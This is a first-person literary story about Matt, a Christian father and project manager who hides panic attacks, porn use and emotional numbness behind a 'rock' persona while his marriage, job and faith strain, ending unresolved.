“You’re not here,” she says. “I mean, you’re physically here, but you’re not here.”
“I’m literally sitting right in front of you,” I say, stabbing a piece of chicken. “What do you want, a hologram?”
She doesn’t laugh. “Matt, I’m serious. I don’t know what you’re feeling. Ever. I don’t know when you’re scared. Or angry. Or sad. I can’t read you anymore. It’s like there’s this glass wall. I can see you, but I can’t reach you.”
I chew slowly to give myself time. Classic tactic. Delay, defuse, divert.
“I’m just tired,” I say. “Work’s a lot. Dad’s situation’s a lot. This is just… a season.”
Her jaw tightens at the word “season.” She hates Christian clichés, and I use them like shields.
“You said that last year,” she says. “And the year before. ‘It’s just a season.’ When does this season end, Matt? When you burn out? When we’re divorced? When Lily’s grown and doesn’t even bother to call you?”
“Wow,” I say, forcing a laugh. “Okay, that escalated.”
That’s another move: if I make her feel dramatic, I get to feel sane.
She takes a breath, looks down at the table. “I’m asking you to let me in,” she says, softer. “Talk to me. Tell me when you’re drowning instead of pretending you’re fine. You don’t have to be the rock, Matt. Not with me.”
There’s this moment where I actually feel it—the opening, the offer. Like a crack in the armor. I could tell her about the bathroom stall. About how sometimes at two in the morning my heart’s pounding like I’m on mile ten of a run and I can’t sleep, so I scroll my phone until my eyes burn. About the weird chest tightness that makes me think of my dad in the hospital, tubes and machines and beeping, and how I’m still that kid in the driveway trying not to cry.
I even start to say it. “Sometimes at work I—”
The words get stuck in my throat. There’s this primal shame that hits like a wave. If I say it out loud, it’s real. If she hears it, she’ll see I’m not a rock. I’m a scared dude in a grown man’s clothes with a half-charged iPhone and a Bible app he barely opens.
I clear my throat. “Sometimes at work I just need to, like, zone out, you know? Nothing crazy. I just power through.”
She watches me. She knows I pulled up right before the truth. I can see it in her eyes, that flash of disappointment before she buries it. She nods like she’s trying to accept the crumbs.
“Maybe we should go to counseling,” she says.
And there it is. The one word I refuse to let into my story.
“We’re not that bad,” I say, way too fast. “Counseling’s for people who are… like… actually falling apart. We’re just in a stressful patch. Money’s tight, work’s nuts, your job is heavy, my dad almost died. We don’t need to pay someone a hundred and fifty bucks an hour to tell us what we already know.”
“That’s not what counseling is,” she says.
I shrug. “You’re a counselor, obviously you’re pro-counseling. But I—what would I even say? ‘Hi, I’m Matt, things are fine, my wife just wants me to cry more’?”
She closes her eyes like my words physically hurt. “This isn’t about crying,” she says. “This is about you. Letting. Me. See. You.”
“I married you, didn’t I?” I say. “You see me. This is me.”
That’s the line I always throw out when I want to shut the conversation down—“This is just who I am.” It sounds like honesty, like self-awareness, but really it’s defense. A way of saying, “I’m not changing.”
She stares at me for a long time. Then she gets up, takes her plate to the sink without another word.
I tell myself she’s being emotional. That she’ll calm down. That it’s not that bad. That I’m not that bad.
That night, after she goes to bed, I sit on the couch with my laptop. I tell myself I’m going to do a little work, get ahead of tomorrow. Ten minutes in, I’m already opening a second browser window.
It’s funny how my brain knows the path without thinking. A couple keystrokes, a few clicks, and there it is: curated, pixel-perfect nakedness. I scroll, numb. That’s really what it is. Not lust so much as anesthesia. My own private pharmacy.
I justify it. I’m not sleeping with anyone else. I’m not on Tinder. I’m not at a bar hitting on girls who call me “sir.” This is safe. It’s victimless. It’s just… stress relief. And if I ever tried to talk to Emily about how I actually feel, I’d probably scare her. This way, I take care of it myself.
Self-sufficiency, right? That’s what being a man is. Handle your own crap.
I close the laptop an hour later feeling gross, but the guilt is dull. Familiar. Easy to ignore. I tiptoe into the bedroom. She’s already turned away from my side, curled in a C-shape near the edge. I slide into bed, careful not to touch her too much, in case she wants space. Or in case she doesn’t, because if she turns toward me, I might have to be present.
In the dark, my phone buzzes on the nightstand. I check it. It’s Marcus.
You good, man?
Marcus is my one semi-real friend from church. Taller than me, quieter. Used to be a cop, now does security at a hospital. He’s the kind of guy who actually listens when you talk. Like, fully. It’s unnerving.
He’s the only one who’s ever looked me in the eye and asked, “How’s your heart?” without smirking. I laughed when he said it the first time. “Bro, what are we, in a Nicholas Sparks movie?” He smiled, but he didn’t take it back.
I stare at his text for a second. My thumb hovers over the keyboard.
I’m fine, just tired, I type.
I delete “just tired.” It sounds weak. I send: I’m good. Busy with work. You?
The truth would be: I’m not sleeping, my wife wants to send me to counseling like I’m broken, I spent an hour watching porn to avoid feeling anything, and my chest hurts more days than not. Also sometimes I want to just drive until I run out of gas and start over somewhere no one knows I’m supposed to be “the rock.”
He replies: Same. Let’s grab lunch this week. Been thinking about you.
Cool, I send. Let me know when.
I set my phone down and roll onto my back, staring at the ceiling in the dark. Some random verse I half-remember from a sermon floats through my brain: “The Lord is close to the brokenhearted.”
I snort quietly. I’m not brokenhearted. I’m just busy.
Work does not care about your feelings. My manager, Jeff, cares about deliverables and client satisfaction scores and how many hours the team can bill without triggering HR. There’s a massive software deployment next month. If we nail it, it’s big for the company. If we blow it, we lose a multi-million-dollar client. No pressure.
We shuffle into the conference room for yet another war room meeting. Screens everywhere, coffee cups, people with that glazed “I’ve been on Zoom for 12 hours” look in their eyes.
Jeff slaps my back. “How’s my rock?” he says, grinning.
“Ready to roll,” I say.
“Good, because if this thing slips again, I’m gonna have to start sacrificing junior devs to the client gods.”
Everyone laughs. I do too, even as that familiar tightness creeps into my chest. I tell myself it’s just caffeine. I’ve had three coffees and a Red Bull. Anyone’s heart would pound.
Halfway through the meeting, someone mentions layoffs. Not directly, but hints. “If this doesn’t go well, upper management’s gonna be asking hard questions.” Translation: people will get cut. People like me. People like the guy who had a meltdown in the stairwell last year and mysteriously “transitioned to new opportunities” two months later.
Rocks don’t get laid off. Weak links do. If I crack, I’m a liability.
My phone buzzes. It’s a text from my mom: Dad had another episode. Doctors want to run more tests. Can you come by tonight?
I swallow, staring at the message.
You okay? Jeff says, noticing my face.
“Yeah,” I say quickly. “Family stuff. I’m good.”
I tuck it away. Mental note: hospital. Later. After being the rock at work, I get to be the rock for my mom. Then maybe, if I have any energy left, I’ll toss Emily a pebble and call it connection.
During a break, I slip into the men’s room. I splash water on my face. As I look up, my reflection stares back at me. Thirty-six, a little more gray at the temples than I’d like, dark circles under my eyes. But my expression is neutral. Controlled. Rock-solid. You’d never know that inside, there’s this constant hum of static.
My chest tightens again. The room tilts for a second. I grab the edge of the sink.
Not now. Not here.
I duck into a stall before anyone walks in, sit on the lid, elbows on my knees, hands over my face. Breathe. In. Out. In. Out. I count my breaths. I feel ridiculous, a grown man hiding in a toilet cubicle trying not to pass out.
Somewhere behind the stall door I hear my dad’s voice: Stop crying, be a man.
“I’m not crying,” I mutter. “I’m breathing.”
Same thing, really. Trying to keep the dam from breaking.
I think, briefly, of all the verses I’ve heard about not being afraid. “Do not be anxious about anything.” “Fear not.” “The Lord is my rock.” It’s funny how I’ve basically replaced God with my own chest. My own calm face. Like, I’m my own Lord and rock. That’s not how I’d say it out loud, but that’s how I live.
After work, I swing by the hospital. Dad’s sitting up in bed, watching some game show with the sound off, wires stuck to his chest. Mom’s in the chair by the window, hands folded, Bible open but unread on her lap.
“Hey,” I say, stepping in. “How’s the party?”
Dad grunts. “Food sucks.”
“That’s how you know it’s a real hospital,” I say. “If they start serving steak, you should worry.”
He smirks. Mom gives me a tired smile. I do the thing I always do in hard rooms: crack jokes, keep it light, distract from the elephant.
“How you feeling?” I ask, even though I can read the chart as well as he can.
“Old,” he says. “Doctors say it’s not as bad as last time. Just gotta ‘take it easy.’ Whatever that means.”
“You gonna listen?” I ask.
He snorts. We both know he won’t. Men in my family don’t “take it easy.” We work until something breaks, then we duct tape it and keep going.
Mom looks at me like she wants to say something spiritual. She’s the only one in our family who does feelings out loud, but years married to my dad trained her to make them small.
“Been praying Psalm 34,” she says softly. “You know that one, honey? ‘The Lord is close to the brokenhearted and saves those who are crushed in spirit.’”
She says it like it’s comfort, a warm blanket. I hear it like an accusation. Brokenhearted? Crushed? That’s not allowed. Not for men like us. We’re not brokenhearted, we’re just… busy. Tired. Overworked. Slightly malfunctioning machines.
“I like the one about ‘those who don’t work don’t eat,’” Dad says. “Keeps you honest.”
I laugh, grateful for the deflection.
Mom sighs. “Your father,” she says, half-affection, half-frustration.
On the drive home, the verse keeps replaying in my head. “The Lord is close to the brokenhearted.” If that’s true, then what does that mean for me? Because most days, God feels about as close as the moon. Beautiful, in theory. Useless, in practice.
Maybe the problem is I’m not brokenhearted enough. Or maybe that’s just another way to blame myself for something I don’t understand.
Thursday night is men’s group. I go mostly because it looks good. A married Christian dad who skips men’s group raises eyebrows. A married Christian dad who shows up, brings chips, cracks jokes, and nods thoughtfully during prayer requests gets approved.
We meet in the church basement, twelve guys in folding chairs in a sad circle under fluorescent lights that make everyone look tired and slightly dead. There’s the usual spread: chips, store-brand cookies, a veggie tray no one touches, and a big pot of coffee because apparently we’re all eighty.
Our leader, Dan, is a big guy with a beard that makes him look like a gentle lumberjack. He opens in prayer, then reads a short passage.
“Tonight,” he says, “I thought we’d just… be honest. No study guide. No video. Just us, talking about what’s real.”
That sentence alone makes my skin itch.
He reads Psalm 34:18. Of course. The Lord is close to the brokenhearted and saves those who are crushed in spirit.
I feel it in my chest, right where the anxiety sits. The words are like a hand hovering over a bruise.
Dan looks around. “Who here would say they feel brokenhearted right now?” he asks. “Crushed in spirit? Not in theory. Right now.”
One guy laughs nervously. A couple shift in their chairs. I take a sip of coffee to buy time. No way I’m raising my hand. Brokenhearted is for widowers and addicts and cancer patients. Not white-collar project managers with upgraded iPhones and a leased SUV.
To my left, Jason clears his throat. He’s usually one of the louder guys, all stories about sports and his glory days playing college ball. Tonight, he looks smaller.
“I, uh…” He stares at the floor. His voice cracks. “My wife left last month. Took the kids. I haven’t told anyone ’cause… I’m embarrassed, I guess. I feel like I failed. I’ve been using porn for years. Said I’d stop a hundred times. Didn’t. She found stuff on my phone and just… had enough.”
The room goes quiet. My stomach twists. I keep my face still.
He keeps talking, words spilling now. “I always thought I had it under control, you know? Like, it was my thing. My stress relief. Better than cheating. That’s what I told myself. But she said it was cheating. She said I was choosing pixels over her. I don’t even… I don’t know how to live in my own skin right now. I feel… crushed. I don’t know how else to say it.”
Tears slide down his face. Full-grown man, shoulders shaking, crying in a church basement under bad lighting. Every alarm in my body goes off. Run. Joke. Change the subject.
Instead, something weird happens. Dan gets up, walks over, puts a hand on his shoulder. Another guy kneels and starts praying softly, nothing fancy, just, “God, be close. Help him.” No one mocks. No one rolls their eyes. A couple other guys are wiping their faces too.
I feel this pressure rising in my throat. It scares me more than any panic attack.
This could be you, a voice in my head whispers. You could talk. You could tell them about the stall, the late nights, the way your wife looks at you like a stranger. You could say you’re not okay. You could stop playing the rock.
I picture it for a second. Me, opening my mouth, saying, “Guys, I’m not fine. I’m addicted to being okay. And to porn. And to people thinking I have it together. My wife wants to leave and it’s mostly my fault.” I imagine their faces, their hands on my shoulder, the prayers. I imagine God feeling near instead of abstract.
My heart starts hammering. My palms sweat. My knee bounces.
Dan looks around. “Anybody else?” he says gently. “You don’t have to share. But if you want to, this is a safe place.”
Everyone’s eyes are suddenly the most interesting thing in the room. Shoelaces. Coffee cups. The scuffed tile. No one wants to be next.
I clear my throat.
“I mean…” I say, forcing a smirk. “My biggest sin is I eat too many carbs. So, uh, pray for me, guys.”
A few chuckle. The tension breaks a little. Dan gives me a half-smile that doesn’t quite reach his eyes.
Inside, I want to punch myself. That was my out. My shot. I could have been honest. Instead, I threw a joke at the most honest moment I’ve seen in years like a grenade.
The rest of the night passes in a blur of surface-level shares. Work stress. Kids. “I should read my Bible more.” I mumble something about being busy. When we close in prayer, I mumble a safe Christian phrase: “God, thank you that you’re strong when we’re weak.” It sounds holy. It’s a lie coming from my mouth.
After group, as we’re heading to our cars, Marcus falls into step beside me.
“You okay?” he asks.
“I’m good,” I say automatically. “That was… heavy, huh?”
He studies me. “Yeah. But good heavy.” He pauses. “You sure you’re okay? You were twitchy during prayer.”
“Twitchy?” I scoff. “Bro, I had too much coffee. That’s all.”
He doesn’t push. “If you ever want to talk,” he says, “for real… I’m here. No judgment. None of us are as put-together as we look. You know that, right?”
I shrug, unlock my car. “I’m fine, man. Seriously. Just tired.”
That night, Emily’s on the couch when I get home, laptop closed, TV off. That’s never a good sign.
“How was group?” she asks.
“Good,” I say, dropping my keys in the bowl. “You know. Guys. Bibles. Bad coffee.”
“Did you share anything?” she asks.
I bristle. “What is this, a report card?”
She folds her hands. “I just… you’ve been off. For a while. I was hoping you’d talk to someone.”
“Talked to God,” I say. “That counts, right?”
She does that slow blink that means she’s trying not to explode. “You know what I mean.”
I do. I ignore it. I sit in the chair across from her instead of next to her on the couch. It’s a distance of three feet that feels like thirty miles.
She takes a breath. “I called a counselor,” she says.
Something in me snaps. “You what?”
“I called a counselor,” she repeats, voice shaking slightly but steady. “For us. For our marriage. Her name is—”
“We don’t need—”
“—Sarah Stevens,” she says, talking over me, which she almost never does. “She’s highly recommended. She has experience with couples where one partner is emotionally unavailable.”
“Emotionally unavailable,” I repeat, like it’s a slur.
“That’s what you are, Matt,” she says, and now the tears are in her eyes. “You’re unavailable. I’m married to a ghost. You show up physically, you pay bills, you fix things when they break, but you don’t let me see you. I feel like I’m begging you to be my husband.”
My defenses go up so fast I’m dizzy. “That’s not fair,” I say. “I go to work every day. I come home. I spend time with Lily. I go to church. I go to your family stuff even when I don’t want to. I provide. I don’t cheat. I don’t hit you. I don’t drink myself stupid. I’m doing everything I’m supposed to do and somehow it’s not enough because I don’t sit around talking about my feelings?”
“You don’t talk about anything real,” she says. “Do you know how alone I feel? I would almost rather you scream at me than stay like this. At least then I’d know there’s something in there.”
“That’s insane,” I say, standing up. “You’d rather I scream at you?”
“I’d rather you be honest,” she fires back.
I pace. “Fine. Here’s honest: I don’t want to sit in a room with some stranger and have you list all the ways I suck while she nods and takes notes.”
“That’s not—”
“I’m not doing it,” I say. “I’m not broken. We’re not broken. We’re just stressed.”
“And I’m telling you we are broken,” she says, standing now too, voice rising. “We are so broken, Matt. I’m drowning over here. I lie awake next to you at night and I feel like a widow before I’m even forty.”
The widow line hits harder than I want to admit. My mom in that hospital chair, Bible open, eyes tired. Is that Emily’s future?
I can’t go there. Too much. Shut it down.
“This is drama,” I say, dismissive. “You’re making it worse than it is.”
Her mouth falls open. “Drama,” she repeats. “Okay.”
She walks past me, into the bedroom. I hear drawers opening, the squeak of the closet door. A minute later she comes out with a duffel bag. She starts throwing clothes in it. T-shirts, jeans, underwear, random stuff. No method, just motion.
“What are you doing?” I ask, stomach dropping.
“Going to my sister’s,” she says. “For a while.”
“You’re leaving,” I say, like I can’t process the words.
“I’m not filing for divorce,” she says. “Yet. I’m giving you space. And I’m giving myself a chance to remember what it’s like to breathe.”
“Emily, come on,” I say, moving toward her. “You’re overreacting.”
She stops packing, looks up at me, and laughs. It’s a bitter sound I’ve never heard from her before.
“You keep saying that,” she says. “Anytime I tell you I’m hurting, I’m ‘overreacting.’ Anytime I say we need help, you say I’m ‘making it worse than it is.’ I’m done gaslighting myself into thinking I’m crazy. This is real, Matt. I’m leaving because you already have. You left a long time ago. You’re just… physically present.”
“That’s not fair,” I repeat, because I don’t have any other words.
She zips the bag. “I’m giving you one more chance,” she says, voice trembling. “You call that counselor. You set up an appointment. You show me with actions, not words, that you’re willing to be vulnerable. To let me in. To let anyone in. If you don’t… I don’t know if there’s anything left to save.”
She walks past me, bag over her shoulder. She stops at Lily’s door, pushes it open. Our daughter’s asleep, sprawled sideways, stuffed unicorn under one arm. Emily kisses her forehead, whispers something I can’t hear.
“I’ll bring her back Sunday night,” she says quietly when she returns. “You can have the weekend to… think.”
“What am I supposed to do?” I ask, hating how small my voice sounds.
She meets my eyes. “Stop pretending you’re okay,” she says. “That’d be a start.”
The front door closes behind her. The house is dead quiet.
I stand in the middle of the living room, staring at the door like it might swing back open and she’ll say, “Kidding!” But it doesn’t. She doesn’t.
Instead of collapsing, I do what I always do: I make a list. Dishes. Laundry. Trash. Budget. I straighten the cushions on the couch, because God forbid a pillow be crooked while my marriage implodes.
Later that night, I get a text from Marcus.
Heard Emily and Lily are staying with her sister. You want company?
My heart stutters. News travels fast in church circles.
I stare at the screen. I picture Marcus on my couch, looking at me with those annoyingly kind eyes, asking questions I don’t want to answer. What are you afraid of? How are you really? When did you start disappearing?
I type: Nah man, we’re fine. Just needed some space. Couples fight, you know.
I delete “we’re fine” because even I can’t make my thumbs lie that hard. I send: Just needed some space. All good.
He replies immediately. You sure? I can be there in 15.
I put the phone face down on the coffee table. I pace. I pick it up again.
Come, I type. I delete it.
I’m not sure what I’m more afraid of: him seeing the stack of dirty dishes and empty wrappers that prove I’m not as together as I act, or him seeing through whatever story I spin and calling me on it.
I finally send: I’m good bro. Exhausted. Rain check?
Three dots appear, disappear. Finally: Okay. I’m here if you need me. For real.
I toss the phone onto the couch like it burned me. I grab my laptop instead.
By 1 a.m., the house is dark, the only light the blue glow of my screen. Pop-up after pop-up, tab after tab. My brain is buzzing, my body’s numb. I tell myself it’s better than thinking. Better than feeling. Better than sitting in the silence and hearing my own excuses bounce off the walls.
When I finally crash into bed, the sheets on her side are still warm from when she packed.
The next morning, Lily’s empty room hits me harder than I want to admit. Her bed is made (Emily’s doing), stuffed animals lined up, tiny socks in the hamper. I stand in the doorway, an intruder in my own house.
I go to work like nothing happened. Because that’s what you do. You compartmentalize. You put on the rock mask. You get stuff done.
My performance drops, though. It’s subtle at first. I miss a detail here, forget an email there. Nothing huge. But in this job, death comes by a thousand paper cuts.
A junior dev, Sarah, points out a flaw in my plan in front of the team. Normally, I’d thank her, adjust. Today, raw and sleep-deprived, I snap.
“Maybe if you’d read the full spec before chiming in, you’d understand why we did it this way,” I say, harsher than I mean to.
The room goes quiet. She shrinks back, face flushing. Jeff raises an eyebrow at me.
“Let’s take this offline,” he says.
After the meeting, he pulls me into his office.
“You good?” he asks.
“I’m fine,” I say automatically.
He leans back, folds his arms. “Look, I don’t need to know your personal business. But you bit Sarah’s head off in there. That’s not like you.”
“Sorry,” I say. “Just… a lot going on at home.”
“Take a day,” he says. “Or a few. Whatever you need. This project’s important, but not as important as you not burning out.”
The irony of my boss telling me not to burn out while I’m actively burning out isn’t lost on me.
“I’m good,” I repeat. “I just need to focus.”
He studies me for a second. “You know,” he says slowly, “you don’t always have to be the rock.”
I actually laugh. “You started that, remember?”
He smiles. “Yeah. Turns out sometimes rocks crack. Just… don’t wait until you blow up to tell someone you’re drowning, okay?”
Everyone keeps using the same metaphors. Drowning. Burning out. Breaking. I keep dodging them like bullets in a video game. If I just keep moving, they can’t hit me.
Days blur. Emily and I text logistics about Lily. Pickup times, homework, dentist appointments. Nothing real. It’s like running a small business together instead of a marriage.
One Friday, I’m supposed to pick up Lily at four for her school’s little talent show thing. She’s been practicing a silly dance for weeks, making me watch it every night I had the energy to pretend I was watching. “You’re coming, right, Daddy?” she asked. “You promise?” I promised.
Friday afternoon, I’m sitting at my desk, headphones in, trying to yank my brain through a spreadsheet, when a familiar tightness clamps my chest. I take a breath. Another. It doesn’t let up. My vision goes a little fuzzy at the edges.
I check the clock. 3:50. If I leave now, I can make it.
I tell myself: Just one more email. Just fix this one thing. Then go.
I look up again and it’s 4:27.
“Crap,” I say aloud, ripping my headphones off. I grab my bag, half-run to the elevator, curse at the slow doors, sprint to my car.
On the drive, my phone buzzes with texts. I don’t check them. I don’t want to see.
I pull into the school lot at 4:58, heart pounding. I jog toward the auditorium. It’s emptying. Parents filing out, kids with glitter on their faces and handmade certificates.
Emily stands near the doors with Lily. Lily’s in a sparkly shirt, hair in two lopsided pigtails, holding a crumpled ribbon. Her eyes are red. When she sees me, her face does this thing—lights up, then falters, like she’s trying to decide whether to be happy or mad.
“Hey!” I say, forcing cheer. “I’m so sorry, traffic was—”
“Traffic?” Emily says, voice flat. “Show started at four.”
“I know, I just—work ran late and—”
“You promised,” Lily says quietly. That hurts way worse than Emily’s tone.
“I know, bug,” I say, kneeling. “I’m sorry. How’d it go?”
“Fine,” she says, shrugging, looking at her shoes. The word is a knife. It’s my own word coming back to kill me. I’m fine. We’re fine. Everything’s fine.
“Mom filmed it,” she adds. “You can watch it later.”
It’s an offer. A consolation prize. I hate myself for being the kind of dad who has to watch his daughter’s life on a screen because he can’t show up when it counts.
“Yeah,” I say. “I’d love to.”
Emily just looks at me. No lecture. Somehow, that’s worse.
On the drive back to my place, Lily hums a bit of her song in the backseat. I grip the steering wheel so hard my knuckles go white. I want to cry. The feeling is so foreign it scares me. I swallow it. It goes down like a rock.
That night, after I drop Lily back at her aunt’s, I sit in my dark living room alone. The quiet isn’t peaceful. It’s accusatory.
On the coffee table, my Bible sits under a pile of mail. I don’t remember the last time I opened it for me, not for a group or to find a verse to toss at someone else.
I push the mail aside, flip it open randomly. It lands in Psalms. My eyes fall on familiar words like they’re highlighted just for me:
“The Lord is close to the brokenhearted and saves those who are crushed in spirit.”
No escape this time. No sermon. No small group. Just me and a sentence that won’t shut up.
I stare at the page until the letters blur. Something in my chest finally gives. Not a big cinematic break, just a tiny hairline crack.
“Okay,” I whisper. “Fine. I’m… not okay.”
The words feel like ripping duct tape off my soul. My throat burns. My eyes sting. My body, not used to this, fights it. But my arms suddenly feel too heavy to hold up. I slide off the couch onto my knees without meaning to, Bible still open on the cushion.
“I don’t know how to do this,” I mutter. “I don’t know how to be… brokenhearted. Or whatever. I don’t know how to…” I wave a hand vaguely, like God needs me to pantomime emotions.
Tears spill over. Real ones. First time in… I honestly can’t remember. Maybe when Lily was born. Maybe before that.
It feels… ridiculous. A grown man, kneeling by his IKEA couch, crying into old carpet. I half-expect lightning to strike or a worship band to appear in my hallway. Instead, it’s just me and my ragged breathing and an almost-tangible sense that something—Someone—is near.
For a second, I actually feel it. Like a warm weight on my shoulders. An invisible Presence sitting in the mess with me. Not fixing it. Just… close. The verse slams into my chest again: The Lord is close to the brokenhearted.
Maybe this is what they mean. Maybe all the sermons and testimonies and emotional people with their arms raised weren’t just making it up. Maybe God actually shows up in the raw places. Not the polished, rehearsed testimonies, but the ugly middle.
“Okay,” I whisper again. “I’m scared. Is that what you want me to say? I’m scared my dad’s gonna die and I won’t know how to grieve. I’m scared my wife’s never coming back. I’m scared I’ve already ruined my daughter’s life. I’m scared if people see how weak I am they’ll lose respect for me. I’m scared you’re not actually here and I’m just talking to my furniture.”
It all comes out in a rush. Confession, sort of. Not the respectable kind you share in group. The embarrassing kind.
For about thirty seconds, it feels like the safest place in the world.
Then, just as quickly, another voice kicks in. Not literal, not demonic, just… me. The old script.
Stop crying, be a man.
Crying won’t fix your marriage. Emotions won’t get you a raise. Vulnerability won’t put food on the table. You’re kneeling on a stained carpet, talking to someone you can’t see, while your actual life is on fire. Get up. Be practical. Make a plan. God helps those who help themselves. (Which, by the way, isn’t in the Bible, but I quote it like it is.)
I scrub my face with my hands, annoyed at the dampness. The Presence I felt a moment ago suddenly feels distant again. Or maybe I just pushed it away.
“Yeah, okay,” I say out loud, like I’m closing a meeting. “That was… something.”
I stand up, legs stiff. The room looks the same. Couch. TV. Empty picture hooks where our family photo used to hang before Emily took it. No angels. No burning bush. Just my stupid, beating heart and the hum of the fridge.
My phone buzzes on the table. It’s a notification from some Bible app I downloaded months ago and never use: “He heals the brokenhearted and binds up their wounds. – Psalm 147:3”
The timing is creepy. Or perfect. Or both.
I hover over the notification, feel the temptation to sink back down, to lean in, to actually let myself be wounded in front of God. To admit that I’m not just “off” or “tired” but actually… broken.
Instead, I swipe the notification away.
“I don’t have time to fall apart,” I mutter.
I open a browser and type the same old sites into the search bar. The algorithm knows me well. It feeds me what I want: distraction. Control. A world where nakedness is scripted and no one expects anything from me.
Later, in bed, I stare at the ceiling and tell myself I’ll call the counselor tomorrow. Or the day after. Or after this project. Or after Dad’s next appointment. Or after Emily gives me another ultimatum. There will always be a better time to be honest than now.
Months pass.
The project at work launches. It’s not a disaster, but it’s not the triumph it could’ve been. My performance review is “meets expectations” with a few pointed notes about “needing to delegate better” and “watching interpersonal tone under stress.” Translation: You’re slipping, man.
I don’t get fired. I also don’t get the promotion I’d been quietly gunning for. Jeff gives the lead on the next big project to Sarah—the junior dev I snapped at.
“She’s showed a lot of initiative,” he tells me in his office. “And you, honestly… you seem like you’ve got a lot on your plate. Thought this might be a good time for you to take a step back, catch your breath.”
Step back. Catch my breath. It’s like there’s this conspiracy in the universe to get me to stop pretending I’m okay.
I nod, say the right things. “Totally understand. Happy for her.” Inside, I feel humiliated. Replaced. Useless.
I don’t tell Emily. We barely talk beyond logistics anyway. The counselor’s number is still on a sticky note on my fridge. I move it occasionally when I wipe the counters. I’ve memorized the digits without ever dialing.
Lily spends every other weekend with me. We do what I think dads are supposed to do. We go to the park. We get ice cream. We watch movies. I make sure she’s buckled in right and that she brushes her teeth. I tell myself that’s enough. That love is mostly showing up and making sure they don’t die.
But sometimes, when she’s coloring at the table or building something with Legos on the floor, she’ll look up and just… watch me. Like she’s trying to figure out something she doesn’t have the words for yet.
One Sunday, as I’m dropping her back at her aunt’s place, she hugs me tighter than usual.
“Daddy?” she says into my shirt.
“Yeah, bug?”
“Are you sad?”
The question catches me off guard. I pull back, look at her small face. Her eyes are big, searching.
“Why do you ask?” I say.
“You look sad,” she says simply. “And Mommy looks sad. And Aunt Claire says it’s okay to be sad. But you always say you’re fine.”
The word stings again. Fine. My mask.
“I’m okay,” I say automatically.
She tilts her head. “It’s okay if you’re sad,” she says. “I won’t be scared.”
I should say it. Right there. To my seven-year-old. “Yeah, I’m sad. I miss you when you’re not here. I miss Mommy. I’m scared I messed up.” That would be vulnerability. Not oversharing, just honesty.
Instead, I pat her shoulder. “Don’t worry about me, kiddo,” I say. “That’s my job. To worry about you. You just be a kid, okay?”
She nods slowly, like she’s filing away data for later. “Okay,” she says. “I love you.”
“I love you too,” I say, and it’s the one thing I’m absolutely sure of.
After she runs inside, I sit in my car and grip the steering wheel. I feel like I’m standing on the edge of a cliff, staring down at a body of water that might save me or drown me. The jump is admitting weakness. The cliff is made of all the years I spent being told that men don’t cry, don’t talk, don’t crack.
I don’t jump.
Instead, I drive to church.
It’s easier to go when I don’t have Emily giving me side-eye during worship because I’m scrolling my phone under the seat. I can just show up, say hi to people, drink bad coffee, sing words I barely think about, nod through another sermon about some aspect of the Christian life I’m supposedly living.
Today, though, the pastor does something different. He doesn’t preach. He brings a guy up to share his story.
The guy is in his forties, shaved head, tattoos, looks like he could bench-press me. He takes the mic, clears his throat.
“I used to think being a man meant never showing weakness,” he says. My spine goes rigid. “My dad was old-school. ‘Quit crying, tough it out,’ that kind of thing. I brought that into my marriage, my friendships, even my faith. I believed in Jesus, but I didn’t actually trust Him with anything that made me look bad. Or weak.”
People chuckle. I don’t.
He talks about an affair. About losing his job. About almost losing his kids. Then he talks about the night he finally broke down on his kitchen floor, sobbing, telling God he was done pretending. How Psalm 34:18 popped into his head—“The Lord is close to the brokenhearted”—and how, for the first time, he actually felt it.
“I thought vulnerability would make me lose respect,” he says. “But hiding was what was killing me. My secrets hardened my heart. I was a shell. It wasn’t until I got honest—with God, with my wife, with some guys from this church—that anything changed.”
The sanctuary is dead quiet. People are leaning in. A couple of visibly tough dudes are wiping their eyes. I sit there, arms crossed, jaw clenched.
He keeps going. “I still struggle with pride. I still want to put on the strong face. But I’ve tasted what it’s like to let people see the cracks. And I’ve tasted what it’s like to have God meet me there, not when I’ve got it together but when I’m a mess. And I’ll tell you this: there’s more life in that than in all the years I spent playing the rock.”
Somewhere deep inside, something in me is nodding. Yes. That. Do that. Say something. Move.
I don’t.
After service, people swarm him. Thank you for sharing. That was powerful. I walk past, give a noncommittal nod. Inside, I’m seething. Not at him. At myself. At the distance between what I know is true and what I’m willing to live.
In the parking lot, my phone buzzes. Marcus again.
How are you really?
There’s that word. Really.
I stand in the cold air, thumb hovering.
I’m falling apart but pretending I’m not, I type. I delete it.
I’m tired, I type. Delete.
I settle on: I’m good. God’s got me.
Even my lies are wrapped in Christianese.
I don’t hit send yet. I stare at the blinking cursor. Beside me, a guy straps his toddler into a car seat, kisses his wife, laughs at something she says. Normal. Messy. Human.
The phrase from the testimony loops in my head: Hiding was what was killing me. My secrets hardened my heart.
I feel my own heart. Not metaphorically. Literally. My chest. It feels… hard. Numb. Like it should hurt more than it does.
Do I want God that close? Close to the brokenhearted sounds nice until you realize it means you have to admit you’re brokenhearted. Not over business, not over some abstract injustice. Over your own life. Your own choices. Your own refusal to be weak.
I could tell Marcus. Right now. I could say, “I’m not okay. Can we talk?” He’d answer. He’d show up. I know he would.
Instead, I backspace my half-typed message.
I send him a thumbs-up emoji.
That’s my spiritual state in one tiny yellow hand.
I get in my car, close the door, and the world goes quiet again. Just me, the dashboard, the buzz of the engine.
I think about Psalm 34:18. I think about my mom in that hospital chair, whispering it over my dad. I think about Emily at the kitchen table, begging me to let her in. I think about Lily asking if I’m sad and promising she wouldn’t be scared.
I think about the night on my knees by the couch, the fleeting sense that God was actually, tangibly near when I finally let something crack.
And I think about how fast I slammed that door shut.
That’s the thing no one tells you about vulnerability. You can get a glimpse of it, taste it for thirty seconds, and still decide you’d rather be alone in a locked room than risk anyone seeing you naked in your soul.
So that’s where I am.
In the car. In the locked room. Playing the part I’ve played my whole life.
The rock.
From the outside, I still look solid. Steady job. Decent clothes. Church attendance. A few Bible verses I can quote if needed. A daughter who still hugs me. A wife who hasn’t technically divorced me… yet.
Inside, I know the truth.
I’m not a rock. I’m a man-shaped shell built around a frightened kid who learned early that tears equal weakness and weakness equals rejection. I never unlearned it. I baptized it, gave it Bible verses, dressed it up in productivity and moral respectability.
Maybe one day I’ll break for real. Call the counselor. Call Marcus. Call out to God and not shut Him down when He shows up. Maybe I’ll finally let someone see how much I’m not okay and discover that maybe—just maybe—weakness isn’t the end of my story but the door to something like real strength.
But today?
Today I turn the key in the ignition, watch my reflection in the rearview mirror as I back out. My face is calm. Controlled. Unreadable.
Ask anyone who sees me drive away how I’m doing, and they’ll say the same thing.
He’s good. He’s strong. He’s the rock.
They’d be half right.
The other half?
